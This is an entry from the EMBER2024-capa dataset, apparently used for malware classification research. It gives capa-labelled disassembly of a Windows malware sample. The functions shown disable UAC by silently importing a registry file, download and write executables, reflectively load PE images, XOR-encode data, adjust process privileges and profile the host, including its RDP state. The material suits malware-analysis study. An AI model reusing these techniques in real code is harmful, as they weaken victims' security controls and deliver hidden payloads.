joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4062f0
Capabilities:
Write file on windows

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push 0
push 0
push 2
push 0
push 1
push 0x40000000
push eax
xor bl, bl
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x406315
lea ecx, [esp + 0xc]
push 0
push ecx
push 0xf5
push str.Windows_Registry_Editor_Version_5.00____r_n____r_n_HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem_____r_n_EnableLUA_dword:00000000_r_n_r_n::
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x406333
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
pop esi
pop ebx
ret

Function at 0x406340
Capabilities:
Copy file
Create process on windows
Delete file

Disassembly:
sub esp, 0x208
mov eax, dword [str.Uac.reg]
mov ecx, dword [0x40ca30]
push esi
push edi
mov dword [esp + 8], eax
mov dword [esp + 0xc], ecx
lea edx, [esp + 0x10c]
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x10]
push 0xe1
push edx
rep stosd dword es:[edi], eax
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 8]
push 0
lea ecx, [esp + 0x110]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea edx, [esp + 8]
push edx
call fcn.004062f0
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 4
push 0x294
call esi
push 0
push str.cmd__C__regedit__s_Uac.reg
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x3e8
call esi
push str.Uac.reg
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop edi
xor eax, eax
pop esi
add esp, 0x208
ret
Function at 0x406a10
Capabilities:
Enumerate devices by category

Disassembly:
sub esp, 0x28
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push ebp
push esi
push edi
push str.Ole32.dll
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.CoInitialize
push edi
call esi
push str.CoUninitialize
push edi
mov ebp, eax
call esi
push str.CoCreateInstance
push edi
mov dword [esp + 0x2c], eax
call esi
push str.Oleaut32.dll
mov dword [esp + 0x1c], eax
call ebx
mov ebx, eax
push str.SysFreeString
push ebx
call esi
push 0
mov esi, eax
call ebp
lea eax, [esp + 0x1c]
xor ebp, ebp
push eax
push 0x40a3cc
push 1
push ebp
push 0x40a3ec
call dword [esp + 0x2c]
test eax, eax
je 0x406a8b
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x28
ret
mov eax, dword [esp + 0x1c]
lea edx, [esp + 0x10]
push 0
push edx
mov ecx, dword [eax]
push 0x40a3dc
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x406aaf
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x28
ret
mov eax, dword [esp + 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x14]
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x20]
push ecx
lea ecx, [esp + 0x18]
mov edx, dword [eax]
push ecx
push 1
push eax
call dword [edx + 0xc]
test eax, eax
jne 0x406b46
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x18]
push ecx
push 0x40a3a8
mov edx, dword [eax]
push 0
push 0
push eax
call dword [edx + 0x24]
test eax, eax
jl 0x406b22
mov eax, dword [esp + 0x18]
lea ecx, [esp + 0x28]
push 0
mov word [esp + 0x2c], 8
mov edx, dword [eax]
push ecx
push str.FriendlyName
push eax
call dword [edx + 0xc]
test eax, eax
jne 0x406b18
mov edx, dword [esp + 0x30]
inc ebp
push edx
call esi
mov eax, dword [esp + 0x18]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0x14]
push eax
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x20]
push edx
lea edx, [esp + 0x18]
mov ecx, dword [eax]
push edx
push 1
push eax
call dword [ecx + 0xc]
test eax, eax
je 0x406ad3
call dword [esp + 0x24]
mov esi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
test edi, edi
je 0x406b57
push edi
call esi
test ebx, ebx
je 0x406b5e
push ebx
call esi
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0x28
ret
Function at 0x406c40
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x428
push ebx
mov ebx, dword [esp + 0x438]
push esi
mov esi, dword [esp + 0x440]
mov ecx, esi
push edi
mov edx, ecx
xor eax, eax
mov edi, ebx
mov byte [esp + 0xd], 0x59
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov dl, 0x53
and ecx, 3
mov byte [esp + 0xc], dl
rep stosb byte es:[edi], al
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x34]
mov byte [esp + 0xe], dl
rep stosd dword es:[edi], eax
mov al, 0x65
mov cl, 0x72
mov byte [esp + 0x17], al
mov byte [esp + 0x22], al
mov byte [esp + 0x26], al
mov byte [esp + 0x2b], al
mov al, 0x73
mov byte [esp + 0x15], cl
mov byte [esp + 0x2c], al
mov byte [esp + 0x2f], al
mov eax, dword [esp + 0x438]
mov byte [esp + 0x16], cl
mov byte [esp + 0x1e], cl
mov byte [esp + 0x27], cl
mov byte [esp + 0x21], dl
mov byte [esp + 0x25], dl
lea ecx, [esp + 0xc]
push eax
lea edx, [esp + 0x38]
push ecx
push edx
mov byte [esp + 0x1b], 0x54
mov byte [esp + 0x1c], 0x45
mov byte [esp + 0x1d], 0x4d
mov byte [esp + 0x1e], 0x5c
mov byte [esp + 0x1f], 0x43
mov byte [esp + 0x20], 0x75
mov byte [esp + 0x24], 0x6e
mov byte [esp + 0x25], 0x74
mov byte [esp + 0x26], 0x43
mov byte [esp + 0x27], 0x6f
mov byte [esp + 0x28], 0x6e
mov byte [esp + 0x29], 0x74
mov byte [esp + 0x2b], 0x6f
mov byte [esp + 0x2c], 0x6c
mov byte [esp + 0x2f], 0x74
mov byte [esp + 0x30], 0x5c
mov byte [esp + 0x34], 0x76
mov byte [esp + 0x35], 0x69
mov byte [esp + 0x36], 0x63
mov byte [esp + 0x39], 0x5c
mov byte [esp + 0x3a], 0x25
mov byte [esp + 0x3c], 0
call dword [sym.imp.USER32.dll_wsprintfA]
mov eax, dword [esp + 0x448]
push 0
push esi
push 0
push ebx
push 1
lea ecx, [esp + 0x54]
push eax
push ecx
push closesocket
call fcn.004091f0
add esp, 0x2c
pop edi
pop esi
pop ebx
add esp, 0x428
ret

Function at 0x406e40
Capabilities:
Check internet connectivity via wininet

Disassembly:
push ecx
lea eax, [esp]
push 0
push eax
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
je 0x406e9a
mov eax, dword [esp]
mov ecx, eax
and ecx, 1
cmp cl, 1
jne 0x406e67
mov eax, str.MODEM_l
pop ecx
ret
mov edx, eax
and edx, 2
cmp dl, 2
jne 0x406e78
mov eax, str.LAN_l
pop ecx
ret
mov ecx, eax
and ecx, 4
cmp cl, 4
jne 0x406e89
mov eax, str.PROXY_l
pop ecx
ret
and eax, 8
cmp al, 8
mov eax, str.BUSY_l
je 0x406e9a
mov eax, str.OTHER_l
pop ecx
ret
Function at 0x406f20
Capabilities:
Get graphical window text

Disassembly:
sub esp, 0x310
push ebp
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x115]
mov byte [esp + 0x114], 0
mov esi, str.CTXOPConntion_Class
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 5
lea edi, [esp + 0x10]
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x3c
xor eax, eax
lea edi, [esp + 0x24]
mov byte [esp + 0x218], al
rep stosd dword es:[edi], eax
mov ecx, 0x40
lea edi, [esp + 0x219]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x10]
push 0
push eax
call dword [sym.imp.USER32.dll_FindWindowA]
mov ebp, eax
test ebp, ebp
je 0x40705c
push ebx
mov ebx, dword [sym.imp.USER32.dll_GetWindow]
mov edi, str.CTXOPConntion_Class
lea esi, [esp + 0x14]
mov ecx, 0x14
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
jne 0x40703b
lea eax, [esp + 0x14]
push 0x104
push eax
push ebp
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea edi, [esp + 0x14]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov al, byte [esp + ecx + 0x13]
dec ecx
cmp al, 0x5f
jne 0x406fce
lea eax, [esp + ecx + 0x15]
lea edx, [esp + 0x21c]
sub edx, eax
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x406fe4
lea edi, [esp + 0x21c]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x118]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
mov edx, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x118]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ax, word [0x40caac]
mov word [edi - 1], ax
push 2
push ebp
call ebx
lea ecx, [esp + 0x14]
mov ebp, eax
push 0x104
push ecx
push ebp
call dword [sym.imp.USER32.dll_GetClassNameA]
test ebp, ebp
jne 0x406f97
pop ebx
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [esp + 0x114]
push edx
call fcn.00406ea0
lea edi, [esp + 0x118]
or ecx, 0xffffffff
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
dec ecx
pop edi
pop esi
cmp ecx, 4
pop ebp
lea eax, [esp + 0x108]
ja 0x407098
mov eax, str.NULL
add esp, 0x310
ret
Function at 0x407270
Capabilities:
Get memory capacity

Disassembly:
sub esp, 0x49c
push esi
push edi
push str.Cdefgh
lea eax, [esp + 0x2a4]
push str.SYSTEMCurrentControlSetServices_s
push eax
mov byte [esp + 0x70], 0xc8
call dword [sym.imp.USER32.dll_wsprintfA]
mov ecx, 8
xor eax, eax
lea edi, [esp + 0x71]
add esp, 0xc
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x65]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea edx, [esp + 0x6d]
push 0
push edx
push 1
lea eax, [esp + 0x2b4]
push str.Group
push eax
push closesocket
call fcn.004091f0
mov esi, dword [esp + 0x4c8]
xor ecx, ecx
mov dword [esp + 0x34], ecx
add esp, 0x20
mov dword [esp + 0x18], ecx
lea edx, [esp + 8]
mov dword [esp + 0x1c], ecx
lea eax, [esp + 0x14]
mov dword [esp + 0x20], ecx
mov ecx, dword [esi + 0x4c]
push edx
push eax
push ecx
mov dword [esp + 0x14], 0x10
call dword [0x40edfc]
mov edx, dword [esp + 0x18]
lea eax, [esp + 0x2a0]
push eax
lea ecx, [esp + 0x90]
push 0x32
push ecx
mov dword [esp + 0x94], edx
call fcn.00406be0
add esp, 0xc
lea edx, [esp + 0xd4]
mov dword [esp + 0xd4], 0x9c
push edx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea eax, [esp + 0xe0]
lea ecx, [esp + 0xdc]
push eax
lea edx, [esp + 0xdc]
push ecx
push edx
call fcn.00407220
call fcn.00406d70
test eax, eax
lea ecx, [esp + 0x188]
setne al
push ecx
mov byte [esp + 0x1a8], al
call fcn.00406b70
add esp, 0x10
call fcn.00406f20
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [esp + 0x1fa]
push eax
push edx
call edi
call fcn.00407190
lea edx, [esp + 0x1d2]
mov cl, byte [eax]
inc eax
mov byte [edx], cl
inc edx
test cl, cl
jne 0x4073a8
lea eax, [esp + 0xc]
mov dword [esp + 0x21c], 0
push eax
mov dword [esp + 0x10], 8
call dword [sym.imp.USER32.dll_GetLastInputInfo]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [esp + 0x10]
cmp eax, 0x2bf20
jbe 0x4073ec
mov dword [esp + 0x21c], 1
lea ecx, [esp + 0x24]
mov dword [esp + 0x24], 0x40
push ecx
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov edx, dword [esp + 0x2c]
mov eax, dword [esp + 0x30]
mov ecx, dword [esp + 0x4ac]
shrd edx, eax, 0x14
shr eax, 0x14
mov dword [esp + 0x19c], edx
mov dword [esp + 0x190], ecx
call fcn.00406a10
mov dword [esp + 0x194], eax
call fcn.00406e40
lea edx, [esp + 0xbe]
push eax
push edx
call edi
lea eax, [esp + 0x220]
push 0x80
push eax
push str.RDP_Tcp
call fcn.004070a0
lea ecx, [esp + 0x1ac]
push 0x32
lea edx, [esp + 0x3b4]
push ecx
push edx
call fcn.00406dc0
add esp, 0x18
lea eax, [esp + 0x64]
mov ecx, esi
push 0x23c
push eax
call fcn.00401a10
pop edi
pop esi
add esp, 0x49c
ret
Function at 0x4079e0
Capabilities:
Parse pe header

Disassembly:
push ecx
mov eax, dword [esp + 8]
push ebx
push ebp
push esi
cmp word [eax], 0x5a4d
push edi
je 0x4079f8
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov edi, dword [eax + 0x3c]
add edi, eax
mov dword [esp + 0x10], edi
cmp dword [edi], 0x4550
je 0x407a11
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov eax, dword [edi + 0x50]
mov ecx, dword [edi + 0x34]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push 0x2000
push eax
push ecx
call esi
mov ebp, eax
test ebp, ebp
jne 0x407a48
mov edx, dword [edi + 0x50]
push 4
push 0x2000
push edx
push eax
call esi
mov ebp, eax
test ebp, ebp
jne 0x407a48
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
push 0x14
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, eax
xor eax, eax
push 4
push 0x1000
mov dword [ebx + 4], ebp
mov dword [ebx + 0xc], eax
mov dword [ebx + 8], eax
mov dword [ebx + 0x10], eax
mov eax, dword [edi + 0x50]
push eax
push ebp
call esi
mov ecx, dword [edi + 0x54]
push 4
push 0x1000
push ecx
push ebp
call esi
mov esi, dword [esp + 0x18]
mov ecx, dword [edi + 0x54]
push ebx
mov edi, dword [esi + 0x3c]
add ecx, edi
mov edi, eax
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x1c]
mov esi, dword [esp + 0x14]
push esi
push ecx
mov edx, dword [ecx + 0x3c]
add eax, edx
mov dword [ebx], eax
mov dword [eax + 0x34], ebp
call fcn.00407b30
mov ecx, dword [esi + 0x34]
mov eax, ebp
add esp, 0xc
sub eax, ecx
je 0x407ad1
push eax
push ebx
call fcn.00407cc0
add esp, 8
push ebx
call fcn.00407d40
add esp, 4
test eax, eax
je 0x407b01
push ebx
call fcn.00407c00
mov eax, dword [ebx]
add esp, 4
mov eax, dword [eax + 0x28]
test eax, eax
je 0x407b19
add eax, ebp
test eax, eax
je 0x407b01
push 0
push 1
push ebp
call eax
test eax, eax
jne 0x407b12
push ebx
call fcn.00407f20
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
mov dword [ebx + 0x10], 1
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
pop ecx
ret
Function at 0x407b30
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [esp + 0x10]
push ebx
push ebp
xor ecx, ecx
mov ebp, dword [eax + 4]
mov eax, dword [eax]
mov dword [esp + 8], 0
mov cx, word [eax + 0x14]
cmp word [eax + 6], 0
lea ebx, [ecx + eax + 0x18]
jbe 0x407bf0
push esi
push edi
add ebx, 0x10
mov eax, dword [ebx]
test eax, eax
jne 0x407b9c
mov edx, dword [esp + 0x1c]
mov esi, dword [edx + 0x38]
test esi, esi
jle 0x407bce
mov eax, dword [ebx - 4]
push 4
push 0x1000
add eax, ebp
push esi
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, esi
mov edi, eax
mov edx, ecx
xor eax, eax
shr ecx, 2
mov dword [ebx - 8], edi
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
jmp 0x407bce
push 4
push 0x1000
push eax
mov eax, dword [ebx - 4]
add eax, ebp
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebx]
mov esi, dword [ebx + 4]
mov edi, dword [esp + 0x18]
mov edx, ecx
add esi, edi
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov dword [ebx - 8], eax
mov ecx, dword [esp + 0x20]
mov eax, dword [esp + 0x10]
inc eax
add ebx, 0x28
mov edx, dword [ecx]
xor ecx, ecx
mov dword [esp + 0x10], eax
mov cx, word [edx + 6]
cmp eax, ecx
jl 0x407b5e
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x407c00
Capabilities:
Enumerate pe sections

Disassembly:
push ecx
mov eax, dword [esp + 8]
push ebx
xor ecx, ecx
push ebp
mov ebx, dword [eax]
xor ebp, ebp
mov cx, word [ebx + 0x14]
cmp word [ebx + 6], bp
lea eax, [ecx + ebx + 0x18]
jbe 0x407cb4
push esi
push edi
lea edi, [eax + 0x24]
mov eax, dword [edi]
mov ecx, eax
mov edx, eax
shr ecx, 0x1d
shr edx, 0x1e
mov esi, eax
and ecx, 1
and edx, 1
shr esi, 0x1f
test eax, 0x2000000
je 0x407c57
mov edx, dword [edi - 0x14]
mov eax, dword [edi - 0x1c]
push 0x4000
push edx
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x407c9a
lea ecx, [edx + ecx*2]
test eax, 0x4000000
lea edx, [esi + ecx*2]
mov edx, dword [edx*4 + 0x40d9c0]
je 0x407c6e
or dh, 2
mov ecx, dword [edi - 0x14]
test ecx, ecx
jne 0x407c87
test al, 0x40
je 0x407c7e
mov ecx, dword [ebx + 0x20]
jmp 0x407c85
test al, al
jns 0x407c9a
mov ecx, dword [ebx + 0x24]
test ecx, ecx
jbe 0x407c9a
lea eax, [esp + 0x10]
push eax
push edx
push ecx
mov ecx, dword [edi - 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edx, dword [esp + 0x18]
xor eax, eax
inc ebp
add edi, 0x28
mov ebx, dword [edx]
mov ax, word [ebx + 6]
cmp ebp, eax
jl 0x407c24
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
Function at 0x408b50
Capabilities:
Create thread

Disassembly:
sub esp, 0x10
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x20]
push esi
push 0
push 0
push 0
push 0
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], ecx
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov edx, dword [esp + 0x2c]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x28]
push edx
mov edx, dword [esp + 0x20]
lea ecx, [esp + 8]
push eax
mov eax, dword [esp + 0x20]
push ecx
push 0x408ad0
push edx
push eax
call dword [sym.imp.MSVCRT.dll__beginthreadex]
mov ecx, dword [esp + 0x28]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
add esp, 0x10
ret

Function at 0x408bc0
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
xor ecx, ecx
test esi, esi
jle 0x408be0
mov dl, byte [ecx + eax]
sub dl, 0x31
xor dl, 0xfc
mov byte [ecx + eax], dl
inc ecx
cmp ecx, esi
jl 0x408bcf
pop esi
ret

Function at 0x408bf0
Capabilities:
Enumerate processes

Disassembly:
push ebx
push ebp
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
push 0x128
mov ebx, eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov esi, eax
push esi
push ebx
mov dword [esi], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x408c5f
mov ebp, dword [esp + 0x14]
lea edi, [esi + 0x24]
push ebp
push edi
call dword [sym.imp.MSVCRT.dll__strcmpi]
add esp, 8
test eax, eax
jne 0x408c3d
mov eax, dword [esi + 8]
pop edi
pop esi
pop ebp
pop ebx
ret
push esi
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x408c5f
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x408c35
push esi
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x408c48
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
Function at 0x408c70
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40a368
push 0x409786
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x128
push ebx
push esi
push edi
push str.user32.dll
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call ebx
mov edi, eax
mov dword [ebp - 0x1c], edi
push str.GetThreadDesktop
push edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call esi
mov dword [ebp - 0x20], eax
push str.GetUserObjectInformationA
push edi
call esi
mov dword [ebp - 0x24], eax
push str.SetThreadDesktop
push edi
call esi
mov dword [ebp - 0x28], eax
push str.CloseDesktop
push edi
call esi
mov dword [ebp - 0x2c], eax
push str.kernel32.dll
call ebx
mov ebx, eax
mov dword [ebp - 0x30], ebx
push str.GetCurrentThreadId
push ebx
call esi
call eax
push eax
call dword [ebp - 0x20]
mov esi, eax
mov dword [ebp - 0x34], 1
mov dword [ebp - 4], 0
lea eax, [ebp - 0x38]
push eax
push 0x100
lea ecx, [ebp - 0x138]
push ecx
push 2
mov edx, dword [ebp + 8]
push edx
call dword [ebp - 0x24]
test eax, eax
jne 0x408d26
mov dword [ebp - 0x34], eax
jmp 0x408d3a
mov eax, dword [ebp + 8]
push eax
call dword [ebp - 0x28]
test eax, eax
jne 0x408d36
mov dword [ebp - 0x34], eax
jmp 0x408d3a
push esi
call dword [ebp - 0x2c]
mov dword [ebp - 4], 0xffffffff
call fcn.00408d60
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x408e90
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x418
push ebx
push ebp
push esi
push edi
xor edi, edi
mov ebx, 1
push str.wininet.dll
mov dword [esp + 0x18], edi
mov dword [esp + 0x24], edi
mov byte [esp + 0x17], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push str.InternetOpenA
push esi
call ebp
push edi
push edi
push edi
push edi
push str.MSIE_6.0
call eax
mov edi, eax
test edi, edi
mov dword [esp + 0x24], edi
je 0x408f03
push str.InternetOpenUrlA
push esi
call ebp
mov ecx, dword [esp + 0x42c]
push 0
push closesocket
push 0
push 0
push ecx
push edi
call eax
test eax, eax
mov dword [esp + 0x18], eax
jne 0x408f1b
test esi, esi
je 0x408f0e
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x418
ret
mov edx, dword [esp + 0x430]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [esp + 0x1c], eax
je 0x408fb4
mov ecx, 0x100
xor eax, eax
lea edi, [esp + 0x28]
push str.InternetReadFile
rep stosd dword es:[edi], eax
push esi
call ebp
lea ecx, [esp + 0x14]
lea edx, [esp + 0x28]
push ecx
mov ecx, dword [esp + 0x1c]
push 0x400
push edx
push ecx
call eax
test ebx, ebx
je 0x408f79
cmp word [esp + 0x28], 0x5a4d
jne 0x408fa0
mov eax, dword [esp + 0x14]
xor ebx, ebx
lea edx, [esp + 0x20]
push ebx
push edx
mov edx, dword [esp + 0x24]
lea ecx, [esp + 0x30]
push eax
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 0x14]
test eax, eax
ja 0x408f41
jmp 0x408fa5
mov byte [esp + 0x13], 0
mov eax, dword [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [esp + 0x24]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.InternetCloseHandle
push esi
call ebp
mov ecx, dword [esp + 0x18]
mov ebx, eax
push ecx
call ebx
push edi
call ebx
test esi, esi
je 0x408fdb
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov al, byte [esp + 0x13]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x418
ret
Function at 0x408ff0
Capabilities:
Link many functions at runtime

Disassembly:
sub esp, 0x24
push ebx
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
push edi
push str.ADVAPI32.dll
mov byte [esp + 0x18], 1
call ebp
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.OpenProcessToken
push edi
call esi
push str.AdjustTokenPrivileges
push edi
mov ebx, eax
call esi
push str.LookupPrivilegeValueA
push edi
mov dword [esp + 0x24], eax
call esi
push str.kernel32.dll
mov dword [esp + 0x1c], eax
call ebp
push str.GetCurrentProcess
push eax
mov dword [esp + 0x28], eax
call esi
lea ecx, [esp + 0x10]
push ecx
push 0x28
call eax
push eax
call ebx
test eax, eax
jne 0x40905e
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret
mov edx, dword [esp + 0x3c]
mov ecx, dword [esp + 0x38]
neg edx
lea eax, [esp + 0x28]
mov dword [esp + 0x24], 1
sbb edx, edx
push eax
and edx, 2
push ecx
push 0
mov dword [esp + 0x3c], edx
call dword [esp + 0x24]
mov eax, dword [esp + 0x10]
push 0
push 0
lea edx, [esp + 0x2c]
push 0x10
push edx
push 0
push eax
call dword [esp + 0x34]
push str.KERNEL32.dll
call ebp
push str.GetLastError
push eax
call esi
call eax
test eax, eax
je 0x4090b5
mov byte [esp + 0x14], 0
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
test edi, edi
je 0x4090cd
push edi
call esi
mov eax, dword [esp + 0x20]
test eax, eax
je 0x4090d8
push eax
call esi
mov eax, dword [esp + 0x14]
pop edi
pop esi
pop ebp
and eax, 0xff
pop ebx
add esp, 0x24
ret